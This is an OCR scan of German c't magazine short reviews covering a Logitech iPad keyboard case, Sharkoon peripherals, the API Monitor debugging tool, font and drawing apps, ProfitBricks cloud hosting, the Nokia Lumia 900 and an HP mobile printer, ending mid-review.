einmal entladen sein, empfiehlt Logitech,
die Hulle sechs Stunden lang ins Tages-
licht zu legen.

Die knapp 19 Millimeter dicke und
470 Gramm schwere Hille nutzt die im
iPad enthaltenen Magnete, um es beim
SchlieBen zu deaktivieren. Gehalten wird
das iPad von einem Gummirahmen. Daran
angebrachte FBchen fixieren das Tablet in
Kerben am Rand der Tastatur - es steht
dadurch sehr stabil. Eine Sicherheits-
vorrichtung schaltet die Tastatur ab, wenn
das iPad nicht fixiert ist. Unschon: Klappt
man das Case wie ein Notebook zu, schlagt
der Akku auf das iPad (siehe Video im
c't-Link).

Mit 17 Millimeter sind die klapprigen
Tasten kleiner als die einer Standardtas-
tatur, zeichnen sich aber durch einen
guten Druckpunkt aus. Die Zahlenreihe
und die Umlaute A und U sind etwas
schmal, Eingabe- und Umschalttasten hin-
gegen erfreulich grof3. Sonderbelegungen
stellen zusétzliche Funktionen bereit, etwa
zur Lautstarkeregelung oder zum Markie-
ren, Kopieren und Einfligen von Text.

Als Tastatur ist das Folio prima, als Hulle
eher unhandlich. (jra)

www.ct.de/1215054

Hersteller Logitech, www logitech.de
MaBe iPad 2, iPad 3
Preis 130€
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Gaming-Tastatur, Festplattendock

Makrotastatur

Sharkoons Budget-Tastatur ,Skiller”
bietet austauschbare Gaming-Tasten
und lasst sich per Treiber umkonfigu-
rieren - und das fir nur 15 Euro.

Gamer werden als Erstes mit dem mitgelie-
ferten Werkzeug die Pfeiltasten sowie W, A,
Sund D aus den Fassungen ziehen. Fir diese
Tasten liegen hellblaue Gummitasten mit
genoppter Oberflache bei, die etwas kanti-
ger ausfallen und sich griffiger anfuhlen.

Das Hauptfeld ist mit Multimedia- und
Zusatztasten garniert: rechts und links je funf
Stiick sowie oben nochmals zehn in zwei
Blocken. Am unteren Rand leuchtet ein blau-
es S-Logo. Die Zusatztasten schlieen auch
eine Einschalt- und Schlaffunktion ein.

Die Treiber-Software (Version 2.0.1) bietet
einen Uppigen Funktionsumfang. Die Tasta-
tur unterstitzt zehn Profile mit jeweils drei
Belegungsebenen. Ordnet man ein Profil
einer Anwendung zu, wird es automatisch
aktiv, sobald das definierte Programm im
Vordergrund ist. Der Makro-Editor verarbei-
tet sowohl Tastendriicke als auch Maus-
klicks. Zusatzlich stehen Sonderfunktionen
wie direkte Profilwechsel sowie das Abschal-
ten der Windows-Taste zur Auswahl.

Der Makro-Recorder zeichnet auch dann
weiter auf, wenn man ein anderes Fenster
aktiviert. Uberzéhlige Tastenanschlige las-
sen sich gezielt auswahlen und entfernen;
dariber lassen sich Verzogerungen einfligen
- allerdings nicht weniger als 50 ms.

Insgesamt hinterldsst die Konfigurations-
software einen unfertigen Eindruck. So las-
sen sich weder Makros noch Profile sichern:
Ein unbedachter Klick auf ,Alle zurtickset-
zen” reicht, um stundenlange Konfigurati-
onsarbeit zunichte zu machen. Auch lassen
sich Makros nicht nachtréaglich erweitern.
Am unpraktischsten ist, dass die Software
nur die Standardtasten umkonfiguriert,
nicht aber die zwanzig zusatzlichen Son-
dertasten. (ghi)

Sharkoon, www.sharkoon.de
21cmx48,5cmx 2,3 m,765 g
Preis 15€

Flotter Anschluss

Der Einbaurahmen SATA QuickPort
Intern Multi von Sharkoon riistet
Festplattendock und USB-3.0-
Anschliisse bei dlteren PC-Gehdusen
nach.

Der Einschub findet in einem Schacht fir
5,25"-Laufwerke Platz. Gummipuffer zwi-
schen Rahmen und Halteblechen entkop-
peln ihn vom Ubrigen PC-Gehéause. Fest-
platten und Solid-State Disks mit SATA-An-
schluss nimmt der QuickPort im 2,5"- und
3,5"-Format in zwei Schachten auf, die sich
gleichzeitig nutzen lassen. Beide teilen sich
allerdings einen gemeinsamen Ein-/Aus-
schalter fur die Stromzufuhr. Zwei Status-
LEDs informieren dartiber, welche Schachte
belegt sind.

Intern werden die beiden Festplattenein-
schiibe jeweils Gber einen separaten SATA-
Anschluss an das Mainboard oder eine Host-
Adapterkarte angeschlossen. Damit das An-
und Abmelden der Platten und SSDs im lau-
fenden Betrieb funktioniert, missen die ver-
wendeten SATA-Ports im BIOS-Setup bezie-
hungsweise der Firmware des Host-Adap-
ters als Hot-Swap-tauglich markiert sein.

Die USB-3.0-Frontanschliisse verwenden
intern ein Kabel flr einen 19-poligen Pfos-
tenanschluss, der bei modernen Boards in-
zwischen weit verbreitet ist. An diesen Su-
perSpeed-Buchsen wurde eine externe
USB-3.0-Festplatte von Buffalo nicht er-
kannt. An den Frontanschllssen des Ge-
hduses unseres PC-Bauvorschlags aus c't
13/12 funktioniert sie am selben Mainboard
problemlos. Mit USB-3.0-Sticks unterschied-
licher Hersteller gab es am QuickPort keine
Auffalligkeiten.

Der Einbaurahmen von Sharkoon kostet
35 Euro. PC-Gehduse, die bereits mit einem
Festplatten-Dock und USB-3.0-Frontan-
schlissen ausgestattet sind, gibt es ab
60 Euro zu kaufen. (chh)

Festplattendock mit USB-3.0-Anschliissen

Hersteller Sharkoon, www.sharkoon.de

externe Anschliisse 1 3,5"-SATA, 1 X 2,5"-SATA, 2 X USB 3.0
Zubehor 2 SATA-Kabel, Befestigungsschrauben
Preis 35€
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Windows-Spitzel

Das kostenlose Utility APl Monitor
protokolliert in beinahe beliebiger
Detailtiefe, welche Systemfunktio-
nen ein Windows-Programm aufruft.

Wenn ein unbekanntes Programm myste-
riose Rechenlast erzeugt oder eine selbst
entwickelte Anwendung einfach nicht das
tut, was sie soll, kann man ihr zum Beispiel
mit Mark Russinovichs Process Monitor auf
die Finger schauen und beobachten, was
sie im Dateisystem und in der Registry so
alles anstellt. Manchmal reicht das aber
nicht: Dann interessieren auch andere Sys-
temfunktionen wie Netzwerkzugriffe oder
Zeichenfunktionen. Fir solche Félle ist der
API Monitor entwickelt worden.

Er kann sich wahlweise in laufende Pro-
zesse einklinken oder alle neu gestarteten
Programme unter Beobachtung nehmen.
Damit der Anwender nicht in Informatio-
nen ertrinkt, sollte er zuvor einen Filter de-
finieren, der nur die Funktionsaufrufe
durchlasst, die ihn interessieren. Der API
Monitor ordnet dazu samtliche Windows-
Funktionen nach Aufgabenbereichen sor-
tiert an oder bietet eine Auswahl nach Mo-
dulen wie User32, Kernel32, shiwapi und so
weiter.

Zu jeder Funktion lasst sich auBerdem
ein Haltepunkt definieren, der das beob-
achtete Programm wahlweise vor oder
nach dem Aufruf unterbricht, je nach Auf-
gabenstellung jedes Mal oder nur bei Feh-
lern. Wéahrend eines solchen Halts kann
man sogar die ans System (ibergebenen
Parameter beziehungsweise den Rick-
gabewert manipulieren - das Tool kennt
die Datentypen von Argumenten und
Ruckgabewerten zu iber 13 000 API-Auf-
rufen.

Die derzeitige Version des APl Monitor
lautet 2.0, trotzdem ist das Tool noch als
Alpha-Version gekennzeichnet. Es lauft
aber beachtlich stabil und zuverldssig.(hos)

Hersteller Rohitab Batra, www.rohitab.com/apimonitor
Systemanf.  Windows 2000, XP, Vista, 7, 8 (x86/x64)
Preis kostenlos
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kurz vorgestellt | Software-Diagnose, Mittelalter-Fonts, fritz.mac

Altertimlich

Das Paket ,Elegante Mittelalter-
schriften” von Softmaker enthalt
32 Fonts, die jahrhundertealten
Vorbildern folgen.

Sie sehen ungewohnt aus, eigenwillig, erin-
nern an den Schriftzug auf dem einen Ring
aus ,Herr der Ringe”. Auch wenn die ,Teng-
war” nicht dabei ist: Ob handgeschriebene
Blicher aus Deutschland oder uberlieferte
Dokumente aus dem Irischen - die Originale
hat man sorgfaltig ausgewdhlt, die Zeichen
wurden mit viel Aufwand digitalisiert und fir
ein flussiges Erscheinungsbild bearbeitet.
Der Schriftenvorrat umfasst so unter-
schiedliche wie typische Fonts: geheimnis-
voll wie die Insula Minuscule oder schnérkel-
reich wie die Dark Gothic, romantisch wie
die Bastarda oder kiihl wie die Stebark. Die
Lesbarkeit der Schriften variiert zwischen der
gut erkennbaren Patron und der Thingvellir,
die sich deutlich vom heute Ublichen Erschei-
nungsbild absetzt. Uralte Symbole (Runen)
stellt der Font ,Rune Symbols” bereit.
Anders als viele Share- oder Freeware-Pa-
kete bringen die Softmaker-Fonts einen er-
freulich vollstandigen Zeichensatz mit, ein-
schlieBlich Umlauten und Satzzeichen. Jede
Schrift ist im TrueType- oder OpenType-
Format verfligbar. Buchstaben und Ziffern
zeigen ein aufeinander abgestimmtes
Design, auch wenn hier und da - etwa bei
der Dublin 900 - die Zahlen nicht so ganz
zum Charakter des Alphabets passen wollen.
Dank ihrer Anmutung, aus langst ver-
gangenen Zeiten zu stammen, erlauben die
32 Fonts eine abwechselungsvolle Nut-
zung. Allerdings eignen sie sich kaum da-
fur, langere Textpassagen damit zu setzen.
Doch als Zwischentitel, zur Auflockerung
dokumentarischer Texte oder fur illustrati-
ve Zwecke empfehlen sich die Softmaker-
Fonts allemal: Insgesamt bekommt man fur
nicht mal zwanzig Euro eine differenzierte,
variationsreiche Sammlung. (uh)

Paket mit 32 historischen Fonts

Anbieter Softmaker, www.softmaker.de
Formate OpenType, TrueType

Preis 19,99 € (online oder (D-ROM)

-]
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DasOrtliche

Tastaurkurzbefehifur Anrufe

Globales Meny & Inder Menuleiste anzeigen

Jetzt suchen

@ Automausch

Fritz!Box-Fliisterer

AVM liefert kostenlose Windows-
Software fiir seine Boxen, zum Bei-
spiel zum Faxen. Mac-Benutzer miis-
sen sich von Dritten helfen lassen.

Die fritzmac Suite 2 spricht mit allen
Fritz!Box-Modellen, die Telefoniefunktio-
nen enthalten: Sie zeigt Anruflisten, pflegt
das Telefonbuch der Box und initiiert Anru-
fe vom Mac mit dort gespeicherten Adress-
daten. Wenn die Box Fax-Funktionen auf-
weist, zeigt das Programm die eingegange-
nen Faxe und hilft beim Versand tber einen
speziellen Drucker.

Die Software hat eine bewegte Ge-
schichte hinter sich. Urspriinglich wurde sie
von der Meilenstein Software erstellt, dann
an die Firma Danholt verkauft und wird
seitdem dort weiter entwickelt. Der Uber-
gang verlief nicht ganz ohne Frust fir die
Nutzer. Die ersten Anlaufprobleme schei-
nen aber tiberwunden.

Prinzipbedingt ist solche Software eng
mit der Firmware verzahnt, weil sie mitun-
ter fur einzelne Funktionen die Ausgaben
der Weboberflache verarbeitet (fiir andere
nutzt sie das auf UPnP aufbauende TR-064-
Protokoll). Bei einer neuen Firmware-Ver-
sion besteht immer die Gefahr von Ausset-
zern. Neben direktem Support per E-Mail
nutzt das Unternehmen als offentlichen
Support-Kanal tGbrigens Facebook.

Wer sich fur die Software interessiert,
sollte die 30 Tage lauffahige Demoversion
zundchst auf die Probe stellen. Mit der
FritzIBox 7390 und aktueller Firmware
Gberzeugt die fritz.mac Suite 2 nicht rund-
um: Der Fax-Versand per ISDN stockte
oder misslang mit Mac OS X 10.6.8. Der Im-
port von Kontakten aus dem Mac-Adress-
buch gelang nur fir lokale Daten, nicht je-
doch fir Daten von einem CardDAV-Server
(Kontakte). Wer auf Faxe verzichten kann,
koénnte mit dem spendenfinanzierten Friz-

zix ebenso gliicklich werden. (ps)
Hersteller danholt4mac
Systemanf. Fritz'Box Fon, Mac 05 X 10.5
Preis 29,90 € (Download, (Dfiir35,90€) ¢l
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kurz vorgestellt | Zeichen-Apps

Einfach zeichnen

Paper simuliert Skizzenbiicher auf
dem iPad und lasst dabei fast alle
Vorteile digitaler Grafik links liegen.
Das Konzept geht auf.

Eigentlich fehlt Paper alles, was eine zeitge-
maBe Zeichen-App braucht: Zoom, Trans-
parenzen, Ebenen und hochauflésender Ex-
port. Der Anwender muss mit neun vorge-
gebenen Farben auskommen; nicht mal die
Strichstérke ldsst sich andern.

Dennoch ist Paper ein Juwel. Der Grund:
Die meisten Beschrdankungen kennt man
von echten Stiften und echtem Papier. Nach
wenigen Minuten ist vergessen, dass man
mit einer App zeichnet. Die Werkzeuge sind
liebevoll gestaltet: Der Fineliner schreibt bei
schnellen Strichen etwas dinner; Filzstifte
decken nicht komplett, sondern tberlagern
ihre Farben. Reibt man mit dem Aquarell-
pinsel wiederholt Gber eine Stelle, wird die
Farbe erst dunkler, dann wascht sie sich
wieder aus. Die kostenlose Basis-App bringt
nur Radiergummi und Feder mit, Letztere ist
ausgerechnet das langweiligste Werkzeug.
Die ubrigen vier Stifte kann man Probe fah-
ren und fr je 1,59 Euro oder gebiindelt mit
etwas Rabatt nachkaufen.

Paper fasst Zeichnungen zu Skizzenbii-
chern zusammen, deren Cover und Titel der
Anwender selbst wahlt. Blcher lassen sich
beliebig um Doppelseiten verlangern und
komplett als PDFs mit Pixelgrafiken expor-
tieren. Ein Buch 6ffnet sich durch das Sprei-
zen zweier Finger, zum Umblattern wischt
man horizontal. Die nachste Spreizgeste
klappt eine Doppelseite bildschirmfillend
zum Zeichnen auf (Video siehe c't-Link).

Andere Anbieter bieten fir den Preis
eines einzigen Paper-Stifts ein komplettes
elektronisches Atelier mit Gber hundert
Pinseln und Mens voller Schiebereglern.
Verglichen damit mag Paper nicht billig
sein, dafurist es charmant. (pek)

www.ct.de/1215056

Hersteller FiftyThree, www.fiftythree.com/paper
Systemanf. iPad, i0S ab 4.3
Preis kostenlos, Werkzeuge je 1,59 €, Pack 5,49 €
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Pixeltinte

Sketchbook Ink beschrankt sich auf
sieben tintengetrankte Pinsel, deren

Striche auch bei vergroB3erter Ansicht
knackscharf bleiben.

Mittlerweile quillt Autodesks Skizzen-App
Sketchbook Pro vor Optionen fast uber.
Sketchbook Ink gibt sich hingegen beschei-
den: Der Funktionsumfang beschrankt sich
auf sieben Pinsel und zwei Radierstifte,
einen Farbstreifen, einen schwebenden
Farbwédhler und einen Regler zur Anpas-
sung der Strichstdrke. Die Pinsel zeichnen
deckend, Farbmischungen per Uberlage-
rung sind nicht méglich. Im Unterschied zu
Sketchbook Pro arbeitet die Ink-Variante in-
tern mit Vektoren: Man kann ins Bild hinein-
zoomen, ohne dass das Motiv zu Pixelbrei
wird. Das macht erst einmal einen guten
Eindruck, doch der wird schnell getriibt.
Bei zwei Werkzeugen beginnen und
enden die Striche spitz, ein anderes dlinnt
den Strich aus, als kleckste die Tinte nur aus
dem Pinsel. Man muss ziemlich genau hin-
gucken, um das richtige Werkzeug zu tref-
fen - die Icons sehen sich zu dhnlich. Jedes
Dokument beginnt als kahle wei3e Flache
oder mit einem Bitmap-Hintergrund - eine
Ebenenverwaltung fehlt, ebenso ein Fll-
werkzeug: So muss man Flachen muhevoll
mit schmalem Pinsel anstreichen. Nach
Zoom-Vorgdngen und Riickgangig-Schrit-
ten legt die App kurze Denkpausen ein. Am
flussigsten lauft sie auf einem iPad 2.
Sketchbook Ink wirkt unausgegoren. Au-
todesks Videovorstellung der App (siehe
c't-Link) legt als Verwendungszweck nahe,
Bitmaps aus Sketchbook Pro mit prézisen
Konturen zu veredeln. Das ist aber kein trif-
tiger Grund, warum sich die Motive in der
intern verwendeten Vektorform nicht ex-
portieren lassen, sondern nur als Bitmaps
mit einer maximalen Auflésung von
5151 x 3863 Pixeln. (ghi/pek)

www.ct.de/1215056

Hersteller Autodesk, www.autodesk.de
Systemanf. iPad, i0S ab 5.0
Preis 159€
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v Infrastruktur

Internetzugang

& Load Balancer

Mal dein Rechenzentrum

Der Cloud-Hoster ProfitBricks will mit
einem besonders transparenten und
giinstigen Preismodell punkten, mit
leistungsfahiger und ausfallsicherer
Hardware - vor allem aber mit einer
einfachen Bedienoberflache.

ProfitBricks betreibt einen Dienst, der im
Kern den Amazon Web Services oder
Googles App Engine dhnelt: Kunden kénnen
sich Server mieten, zum Beispiel, um eine
Website zu betreiben. Eine Besonderheit von
ProfitBricks ist seine Bedienoberflache: Fir
die Administration der gemieteten Infra-
struktur stellt das Unternehmen einen soge-
nannten Data Center Designer (DCD) bereit.
Damit gestaltet der Kunde im Browser gra-
fisch wie mit einem Flow-Chart-Editor sein
Rechenzentrum, aktiviert es oder passtes an
sich andernde Gegebenheiten an. Aus einer
Palette zieht er Server, Festplatten und Load
Balancer auf ein Rei3brett und verbindet sie
mit Datenleitungen. Ein ,Inspektor” zeigt
dabei die wichtigsten Informationen einer
gewdhlten Komponente an.

Als Betriebssystem fiir die Server stehen
vorkonfigurierte Debian-, Windows-2008-
R2- sowie Windows-2012-Preview-Installa-

Status ' Maschine lauft

X Léschen

v Einstellungen

Name Server 1

Cores

RAM in GB

Zone Zonel v

Betriebssystem  windows (+ 0.01 € / h / core )

Betriebssystem ¥
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kurz vorgestellt | Virtuelles Rechenzentrum

tionen zur Auswahl. Alternativ lassen sich
auch eigene Images hochladen. Klickt man
anschlieBend auf ,Anderungen (berneh-
men” und bestatigt in einem Dialog den mo-
natlichen Preis, geht das virtuelle Datenzen-
trum innerhalb von wenigen Minuten ans
Netz. Uber eine Remote Console greift der
Administrator auf das GUI seiner Server zu,
etwa um die Software zu konfigurieren.

Die Komponenten der virtuellen Rechen-
zentren sind hochskalierbar: Die Server kon-
nen mit einem bis zu 48 Cores und mit bis zu
196 GByte RAM ausgestattet werden — im lau-
fenden Betrieb; der Benutzer muss dafir die
betreffenden Schieberegler im DCD-Inspek-
tor verschieben. ProfitBricks stellt aber auch
ein auf SOAP aufsetzendes API bereit, mit
dem Entwickler Verwaltungsaufgaben auto-
matisieren kénnen. Bei Fragen steht rund um
die Uhr Support per E-Mail und Telefon bereit.

Das Preismodell ist sehr transparent:
1 GByte Festplattenplatz schldgt mit 4 Cent
pro 30 Tagen, Traffic mit 6 Cent pro Gigabyte
zu Buche. 1 Gigabyte RAM kostet 0,5 Euro-
Cent, 1 Prozessor-Core 4 Cent pro Stunde Be-
reitstellung (Server mit Windows: 5 Cent/
Stunde). Dabei hat ein Core nach Angaben
des Betreibers die Leistung von einem AMD
Opteron mit 2,6 GHz oder ungeféhr vier mit
1 bis 1,2 GHz getakteten Opteron- oder
Xeon-Prozessoren von 2007.

Samtliche Hardware ist redundant ausge-
legt, einschlieBlich der Datenverbindungen,
die im gesamten - ProfitBricks-Rechenzen-
trum mit Infiniband realisiert sind. Dabei lie-
gen je zwei gespiegelte Versionen eines vir-
tuellen Rechenzentrums in unterschied-
lichen Brandabschnitten des Rechenzen-
trums. Das steht in Karlsruhe, es gilt
deutsches Datenschutzrecht. (jo)

www.ct.de/1215056

Virtuelle Rechenzentren
Betreiber ProfitBriEks,www.profitbri(ks.com

Kosten 1 GByte Festplattenplatz: 4 Cent/30 Tage, 1 GByte
RAM: 0,5 Cent/Stunde, 1 Core: 4-5 Cent/Stunde,
Traffic: 6 Cent/GByte
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Priifstand | Windows-Smartphone

Achim Barczok

Protzklotz

Windows-Smartphone

Nokia Lumia 900 mit OLED-Display

Nokias Lumia hat ein farbkréftiges 4,3-Zoll-
Display, schnelles Internet und eine Offline-
Navigation. Fiir Windows Phone reicht diese
Ausstattung zum neuen Spitzenmodell.

an nehme sein bestes

Smartphone, mache die
Displaydiagonale einen Finger-
breit gréer und voila: Man hat
ein neues Spitzenmodell. Nach
diesem einfachen Rezept hat
Nokia das Lumia 900 gebacken:
Das futuristische Design mit schi-
ckem Polycarbornat-Gehduse und
abgerundeten Seiten gleicht
dem des Vorgangers Lumia 800
in bis auf wenige Details. Das Ge-
hduseplastik ist wahlweise matt-
schwarz, mattblau oder mit wei-
Bem Klavierlack beschichtet. Nur
die Micro-USB-Schnittstelle ist
jetzt frei statt Uber eine nervige
Klappe zuganglich. Das Konzept
derselben Designsprache ist aber
nicht ganz aufgegangen: Lag der
Vorgédnger gerade noch gut in
der Hand, fuhlt sich das schwere
Lumia 900 (163 Gramm!) zu breit
und zu dick an.

Schuld am Wachstumsschub
tragt unter anderem das 4,3 Zoll
Diagonale messende OLED-Dis-
play: Es zeigt tolle kraftige Far-
ben, ein tiefes Schwarz und ist
selbst bei Sonnenlicht noch eini-
germalBlen einsehbar — das beste
Display in einem Windows
Phone. Mehr Inhalte passen aber
nicht darauf, denn es zeigt mit
800 x 480 (219 dpi) genauso
viele Pixel wie jedes andere
Windows-Smartphone. Zum Vor-
ganger Lumia 800 wirken Texte
schérfer, weil das Lumia 900 eine
RGB-Subpixelstruktur statt der
fransig wirkenden PenTile-Matrix
der meisten OLED-Handys hat.

Die Hardware - ein auf 1,4 Gi-
gahertz getakteter Single-Core-
Prozessor, 512 MByte RAM und
nicht erweiterbare 13,6 GByte
Speicher - ist fiir ein Windows-
Telefon okay, aber in der Spit-
zenklasse nicht mehr zeitgemat.
Die Surfgeschwindigkeit hat
Nokia verbessert: Zwar unter-
stitzt das deutsche Lumia nicht
wie das US-Modell die neue
Mobilfunkgeneration LTE, doch
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mit DC-HSDPA sollen theore-
tisch Download-Geschwindig-
keiten von 42 MBit/s moglich
sein. In der Praxis merkt man
davon jedoch nur wenig: Bisher
haben nur Vodafone und Tele-
kom an vereinzelten Orten wie
Messegelanden und Bahnhofen
ihre Netze fur diese Geschwin-
digkeit freigeschaltet, und die
meisten Mobilfunkvertrage dros-
seln sowieso auf 7,2 MBit/s. Der
Akku liefert bessere Laufzeiten
als der vom Vorgénger: Beim Vi-
deoschauen auf mittlerer Hellig-
keit (ca. 183 cd/m?) war erst nach
Uiber acht Stunden, beim Spielen
eines 3D-Spiels war nach 3,7
Stunden Schluss.

Die Riickseitenkamera gehort
zu den besseren Smartphone-
Kameras: Fotos und in 720p auf-
genommene Videos zeigen viele
Details und kraftige Farben. In
der Bildmitte der Fotos fallt je-
doch eine rétliche Verfarbung
auf, helle Flachen uberstrahlen
leicht und selbst bei optimalen
Lichtverhaltnissen zeigen Bilder
Farbrauschen. Die Frontkamera
ermdglicht Videotelefonie, zum
Beispiel ber Skype oder die mit-
gelieferte App Tango.

Selbst in der Android-Mittel-
klasse findet man inzwischen
schnellere Prozessoren, doch fiir
Microsofts Betriebssystem Win-
dows Phone 7.5 reicht die Leis-
tung. Der Touchscreen reagiert
zwar bisweilen einen Hauch ver-
zogert, die Oberflache lauft auf
dem Smartphone aber ebenso
fltissig wie 720p-Videos und alle
fur Windows Phone verfugbaren
Spiele. Langsam gegeniber an-
deren High-End-Gerdten fihlt
sich dagegen vor allem der
Browser an: Webseiten laden
langsamer, beim Scrollen und
Zoomen ruckelt es mehr. Das
zeigen auch diverse Browser-
Benchmarks. Im HTML5-lastigen
BrowserMark beispielsweise
kommt das Lumia 900 auf 32 235

Punkte, das Android-Smartphone
Galaxy S3 von Samsung auf
154 447. Den JavaScript-Bench-
mark Sunspider durchlduft das S3
in 1,4 Sekunden, das Lumia
braucht dafir 6,9. Ohne den di-
rekten Vergleich fuhlt es sich aber
immer noch schnell genug an.
Das aktuelle Windows Phone
7.5 Mango hat eine schicke, re-
duzierte Oberflache in Kachel-
optik, eine mit groBerer App-An-
zahl schnell unubersichtliche
App-Liste und ein frisches Be-
dienkonzept. Zu den Vorteilen
gehoren die gute Social-Media-
Integration und eine machtige
Office-Suite. Doch gibt es gegen-
Uber iOS und Android auch viele
Nachteile: Multitasking ist stark
eingeschrankt, die lokale Syn-
chronisation mit der Zune-Soft-
ware ist mihsam und allem

Hersteller

technische Daten
Abmessungen (Hx BxT)
Gewicht

Betriebssystem

Prozessor / Kerne / Takt
Grafik

Speicher RAM / Flash (davon nutzbar)
Display-Technik / -GroRe
Display-Aufldsung / Farbtiefe
WLAN / Dual-Band
Bluetooth / NFC /A-GPS

Kamera-Aufldsung Fotos / Video

Autofokus / Fotoleuchte / LEDs / Selbstauslaser
Touchfokus / mechanische Fototaste
Frontkamera-Aufldsung Fotos / Video
Audioformate

Videoformate

Helligkeit? / Ausleuchtung / Kontrast
Laufzit? Video / 3D-Spiele
PreisStraBe / Liste

! Herstellerangaben

voran ist die App-Auswahl im
Marketplace immer noch er-
schreckend klein sowie die Lu-
cken im Angebot deutlich spr-
bar. Am schwersten wiegt aber
die derzeitige Update-Strategie
von Microsoft: Die im Herbst er-
scheinende  Windows-Phone-
Version 8 bekommt das Lumia
900 nicht, immerhin soll es ein
paar der neuen Funktionen als
Feature-Update erhalten.

Immerhin bekommt man bei
Nokia noch ein ganzes Stiick an
Apps obendrauf: eine kostenlose
Offline-Navigation mit Karten fur
Hunderte Lander sowie eine -
derzeit noch ziemlich unvollstan-
dige - Fahrplan-App fur offent-
liche Verkehrsmittel. In Nokia
Musik kauft man Musik oder hort
kostenlos Webradio. Der E-Book-
Reader von Nokia kann nur Gber
den Nokia-Store mit kostenloser
oder kostenpflichtiger Lektire
beftllt werden, das Angebot ist
sehr mager. Besser fahrt man mit
der Kindle-App.

Alles in allem schafft es das
Lumia 900 bei Ausstattung und
Leistung knapp an die Spitze
der aktuellen Windows-Phone-
Modelle, der Top-Konkurrenz
mit Android oder iOS hinkt es
aber weit hinterher. Das futuris-
tische, aber klotzige Design ge-
fallt nicht jedem: Nokia hat das
groBBe Display Uber die Hand-
lichkeit erkauft. (acb)

Nokia, nokia.de
handy-db.de/1937
12,8cmx6,9cm x1,2cm

1639

Windows Phone 7.5

Qualcomm Snapdragon$2/1/1,4
Adreno 205

512 MByte / 16 GByte (13,6 GByte)
AMOLED /9,3 cm X 5,6 cm (4,3 Zoll)
800<480(219 dpi) / 24 Bit

IEEE 802.11b/g/n/ =

21 +EDR/ - /v

42MBit/s /5,7 MBit/s

-Iv

3264 X 2448 /1280 % 720
vivillv

=-Iv

1280 % 960/ 640 x 480
M4A, MP3, WMA

DivX, XviD, H.264, MP4, WMV

71...306 cd/m?/ 91%/ >1:10.000
84h/3,7h
500€ /580 €

2 emessen in den WeiBflichen eines Schachbrettmuste
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Rudolf Opitz

Abgenabelt

HPs Officejet 150 Mobile mit Akkubetrieb

Der Officejet 150 Mobile All-in-One wird als erster mobiler
Multifunktionsdrucker beworben. Im Test muss er zeigen,
wie viel Biirokomfort er ohne Steckdose und Kabelage bietet.

usammengeklappt klemmt

man den kompakten Officejet
150 Mobile ohne Weiteres unter
den Arm, doch lange mochte
man das Uber drei Kilo schwere
Multifunktionsgerat nicht tragen.
HP hat bei ihm das Druckwerk
des Mobildruckers Officejet 100
mit einem Einzugscanner kom-
biniert. Die obere Klappe dient
geoffnet als Papierzufuhr und
gleichzeitig als Ablage fir die ge-
scannten Vorlagen, die man beim
Officejet 150 von vorne einfuhrt.
Gedruckte Seiten wirft das Gerat
nach vorne aus. Da ein Auffang-
fach fehlt, landen die Drucke auf
dem Tisch oder dem Boden.

Die Bedienung liber das kleine
2,3-Zoll-Touchdisplay ist fumme-
lig. Das liegt jedoch nicht an den
Menus - die sind gro8 genug
und Ubersichtlich. Der unemp-
findliche resistive Touchscreen
benotigt fir Eingaben beherztes
und nachhaltiges Zudriicken,
Streicheln wie bei den kapaziti-
ven Displays aktueller Smartpho-
nes reicht nicht.

Der hinten am Gerdt einge-
klinkte Lithium-lonen-Akku ver-
sorgt den Officejet 150 im mobi-
len Einsatz mit Energie. Einen Ar-
beitstag lang druckten und ko-
pierten wir ohne Neuladen nur
mit Akkustrom - insgesamt tber
100 Seiten. Einen Vertreter-Ar-
beitstag mit Kopieren von Vertra-
gen und Drucken von Angeboten
sollte er problemlos durchhalten.
Der Officejet 150 wird per USB-
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Kabel oder drahtlos per Blue-
tooth angesteuert. Die Bluetooth-
Version 2.0 ist jedoch veraltet,
auch kennt das Gerédt keine Mul-
tipoint-Verbindungen: Mit dem
Notebook gekoppelt, nimmt es
keine Fotos vom Smartphone an.
WLAN - bei stationdren Multi-
funktionsdruckern Ublich - fehlt.

Zum direkten Drucken gibt es
einen Slot fur SD-Speicherkarten
und einen PictBridge-fahigen
USB-Port, die beide nicht gut zu-
gédnglich an der Riickseite des
Multifunktionsgeréts liegen.

Mit 14,2 Cent pro Normseite
druckt der Officejet 150 nicht
gerade billig, besonders der
Schwarzanteil von 6 Cent ist fur
ein Burogerét eigentlich nicht ak-
zeptabel. Mit den XL-Patronen HP
338/344 sinkt der Preis nur wenig
auf 12,1 Cent bei einem Schwarz-
anteil von 5,3 Cent. Immerhin bie-
ten die Patronen mit 450 Seiten
(schwarz) und 560 Seiten (Farbe)
eine recht hohe Reichweite.

Zu den knappen Software-
Beigaben gehort auBler Treiber
und Scan-Programm die OCR
von IRIS. Der Treiber bietet sinn-
volle Voreinstellungen fir ver-
schiedene Druckaufgaben, er-
laubt bei Fotos Randlos-Druck
aber nur bis zum 10 x 15-Format,
auf A4-Normal- und -Fotopapier
dagegen nicht.

Im schnellen Entwurfsdruck
liefert der Officejet 150 bereits
saubere, gut lesbare Ergebnisse.
Die hohe Geschwindigkeit von

13 Seiten pro Minute erreichte er
im Test aber nur bei angeschlos-
senem Netzteil, im Akkubetrieb
schaffte er in der Minute nur 6,7
Seiten. Im Normalmodus fiel der
Unterschied nicht mehr so deut-
lich aus und bei Optimaldruck
war er kaum noch messbar.

Fur Fotos taugt der Drucker
nur wenig: Auf Normalpapier
storten deutliche vertikale Strei-
fen. Auf Fotopapier gefielen die
stimmigen Farben, dunkle Details
verschwanden aber im Schwarz.
Schwarzweil3-Bilder druckt man
besser in der Einstellung ,Farbe”;
bei ,Graustufen” bemerkten wir
einen Griinstich.

Fotos lassen sich direkt von
der am USB-Port angeschlosse-
nen Kamera drucken - aber nicht
randlos. Das klappte auf 10 x 15-
Fotopapier dagegen bei Fotos
vom USB-Stick und von der SD-
Card. Auch via Bluetooth gesen-
dete Bilder druckte der Officejet
randlos, aber mit geringem Kon-
trastumfang und maBiger Auflo-
sung. Ein iPhone und ein iPod
touch konnten den Drucker via
Bluetooth nicht finden, ein An-
droid-Smartphone und eines
von Nokia schon.

Das Kopieren von einzelnen
A4-Seiten klappte bei Textvorla-
gen mit guter Qualitat. Auf der
Kopie und dem Scan unserer
Fontseite verschwanden Graufla-
chen, der Scan war zudem Uber-
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strahlt. Auf der Kopie der A4-Fo-
tovorlage verlief waagerecht tiber
dem Bild ein fetter Transportstrei-
fen, der offensichtlich vom Scan-
ner stammte, da er auch auf dem
Testscan auftauchte.

Der Officejet 150 kann nur A4-
Vorlagen sauber kopieren und
